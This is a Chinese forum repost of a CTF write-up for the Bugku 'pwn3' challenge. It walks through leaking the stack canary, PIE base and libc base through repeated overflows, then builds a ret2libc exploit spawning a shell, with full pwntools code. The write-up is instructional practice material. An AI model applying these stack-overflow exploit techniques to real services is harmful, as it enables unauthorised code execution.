安全矩阵

 找回密码
 立即注册
搜索
查看: 2845|回复: 0

bugku--pwn3

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-2 16:22:47 | 显示全部楼层 |阅读模式
原题链接:https://ctf.bugku.com/challenges#pwn4
附件:



writeup
writeup链接:http://www.qfrost.com/CTF/bugku_PWN3/
0x00 题目分析首先常规操作checksec一波




????…护盾全开?那还做个  (╯‵□′)╯︵
稳住,先别急着放弃,至少拖入IDA看一眼





人没了…无后门函数,代码还这么复杂。不过静心看一遍,只有33行开始才是有用的,然后再仔细看一眼,只有红框处的两句是实际有用的,这样问题就能简化很多了。
然后来分析一波题目。很明显,第一个红框处的read是用于栈溢出的,而且溢出长度还自定义,,虽说下面有一个if判断读入长度是否大与0x270,但实则无所谓的,在第一个read中栈溢出后,if检测到过长,再次read时,只需要send一个小于0x260长度的字符串即可,这样就不会影响第一次溢出所要进行的操作。
这题的难点在于它的护盾全开,需要我们多次溢出获取canary和基址,但本质上是不难的,因为每次溢出原理几乎是相同的,只是exp会略长一些。这个程序每执行一次vul函数会有两次read,且第一次read后紧跟一个puts,puts是通过”\x00”截断输出字符串,所以我们只需要第一次read覆盖”\x00”然后用puts溢出一个值,然后在第二个read中修改ret地址劫持流程跳转回main函数用于恢复栈即可。通过多次调用vul函数来leak出所有需要的值最后就能getshell了。所以步骤如下
  • 覆盖canary最低位,leak canary
  • 输出vul函数的ret地址,减去偏移从而leak程序基址
  • 计算偏移,输出栈上main函数的返回地址,减去偏移从而leak libc的基址
  • 调用libc system函数getshell



0x01 leak canary先看一下程序栈结构


很常规,canary在rbp上面,那根据canary最低为必为”\x00”的特点,我们将其最低为覆盖,用puts接收后再将其置为原值即可。这里没什么套路直接上exp:
  1. def leak_canary():
  2.     sh.sendafter("path:\n","flag")
  3.     sh.sendafter("len:\n","1000\n")
  4.     sh.sendafter("input the note:\n",'a'*600+'b')
  5.     sh.recvuntil('b')
  6.     canary = u64(sh.recv(7).rjust(8,"\x00"))
  7.     log.success("canary:"+hex(canary))
  8.     start_main = 'a'*600 + p64(canary) + p64(0xdeedbeef) + "\x20"
  9.     sh.sendafter("(len is 624)\n",start_main)    # return main
复制代码

但是这里需要解释一下如何恢复栈,也就是payload最后为什么要加”\x20”。根据PIE的特点,地址的末三位是不会被随机化的,也就是我们IDA中看到的值,但在实际操作上,在程序基址还没有泄露时,我们只能操作末两位(因为只能两位两位的填充,倒数第四位是随机化的,所以没法修改倒数第三位)




可以看到,vul函数的ret地址末三位是0xD2E,而main函数的起始地址是0xD20,它们倒数第三位是一样的,那就说明可以通过上述方法覆盖实现跳转。但为什么覆盖rbp以后两位就是覆盖ret的末两位呢?因为x86架构全部采用小端序存储,即高字节存在高地址处,然后栈是从高地址向低地址增长的,那ret的末两位(低字节)自然存在栈的低地址处,即靠近rbp的那一头,所以覆盖rbp以后的两位就是覆盖了ret的末两位。

0x02 leak base_elf拿到程序canary以后就可以随便实现栈溢出了,所以接下来需要leak程序基址,把PIE给破防了。那怎么leak程序基址呢?按照前面的思路,padding至rbp为止,然后用个recvuntil就可以输出ret的地址了。前面都好处理,关键点在泄露出ret的地址后,如何得知偏移。从上面那张反编译后的Text View图可以看出,main函数里通过call调用了vul函数,而call指令会将下一条指令的地址压栈,vul函数执行完毕后,ret指令就会将RIP指向call指令的后一条指令的地址。分析出原理后,偏移就显而易见了,vul函数的ret值相对于程序基址的偏移就是0xD2E
  1. def leak_baseelf():
  2.     sh.sendafter("path:\n","flag")
  3.     sh.sendafter("len:\n","1000\n")
  4.     sh.sendafter("input the note:\n",'a'*(600+8+7)+'b')
  5.     sh.recvuntil('b')
  6.     base_elf = u64(sh.recvuntil("\x0a")[:-1].ljust(8,"\x00")) - 0xD2E
  7.     log.success("base_elf:"+hex(base_elf))
  8.     sh.sendafter("(len is 624)\n",start_main)    # return main
复制代码

0x03 leak base_libc做到这里为止,已经相当于关掉了canary和PIE保护,那这题就已经和最普通的ret2libc题没区别了。这里我想到可以泄露libc基址的方法有两种(如果有大师傅想到别的骚操作欢迎留言),一种是延续前面的方法,栈溢出后仍一直padding,直至main函数的返回地址前,输出main函数的ret的值。main函数的ret的地址是libc空间中的某条指令,计算偏移即可获取libc基址;另一种方法则是常规的借助base_elf调用puts函数输出puts函数的真实地址,因为puts函数是libc函数,减去其偏移即可得到libc基址。
这里我采用第一种方法,这个方法难点在于main的ret地址与rbp之间的偏移如何计算,其实也不难,直接read前下断点或者edb跟踪一下就看出来了(注意要在前面的工作已经做完的情况下再下断点或跟踪,重复调用main函数这个过程是会栈抬升的)






然后要注意的是,得到ret的地址后,它与libc基址并不是libc.symbols[“libc_start_main”],而是libc.symbols[“libc_start_main”]+240  如果你问这240是怎么来的,emmm….这图上不写着了嘛 (╬▔皿▔),然后其实main函数ret的值一定是 __libc_start_main函数地址加240位偏移

  1. def leak_baselibc():
  2.     sh.sendafter("path:\n","flag")
  3.     sh.sendafter("len:\n","1000\n")
  4.     # 打印栈观察__libc_start_main在rbp后0x28
  5.     payload = 'a'*(600 + 8*5 + 7)  + 'b'
  6.     sh.sendafter("input the note:\n",payload)
  7.     sh.recvuntil('b')
  8.     base_libc = u64(sh.recvuntil("\x0a")[:-1].ljust(8,"\x00")) - (libc.symbols["__libc_start_main"] + 240)
  9.     log.success("base_libc:"+hex(base_libc))
  10.     restore_stack = 'a'*600 + p64(canary) + p64(0xdeedbeef) + p64(base_elf+0xD20)
  11.     sh.sendafter("(len is 624)\n", restore_stack)
复制代码
如果用第二种方法,那更简单,payload改成这样就行了,最常规的套路
  1. payload='a'*600+p64(canary)+p64(1)+p64(pop_rdi+base_elf)+p64(elf.got['puts']+base_elf)+p64(elf.plt['puts']+base_elf)+p64(base_elf+0xd20)
复制代码

0x03 getshell然后结束了呀,所有需要的值都已经leak了,直接常规操作弹shell
  1. def getshell():
  2.     pop_rdi_ret = 0x00000e03 + base_elf
  3.     system = libc.symbols["system"] + base_libc
  4.     binsh = libc.search("/bin/sh\x00").next() + base_libc
  5.     log.success("system:"+hex(system))
  6.     log.success("binsh:"+hex(binsh))
  7.     sh.sendafter("path:\n","flag")
  8.     sh.sendafter("len:\n","1000\n")
  9.     payload = 'a'*600 + p64(canary) +p64(0xdeadbeef)
  10.     payload += p64(pop_rdi_ret) + p64(binsh)
  11.     payload += p64(system)
  12.     sh.sendafter("input the note:\n",payload)
  13.     sh.sendafter("(len is 624)\n", "aaaa\n")
复制代码


总结一下吧,这题考察点其实就是破三个护盾,整体流程应该是简单的,多次劫持流程就行,没有别的设坎的地方,我所用的方法是最常规的,不知道有没有更骚的姿势或者其他非预期方法,或者有没有写错的地方_(:_」∠)_,欢迎大师傅们留言指出。




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 22:59 , Processed in 0.015135 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表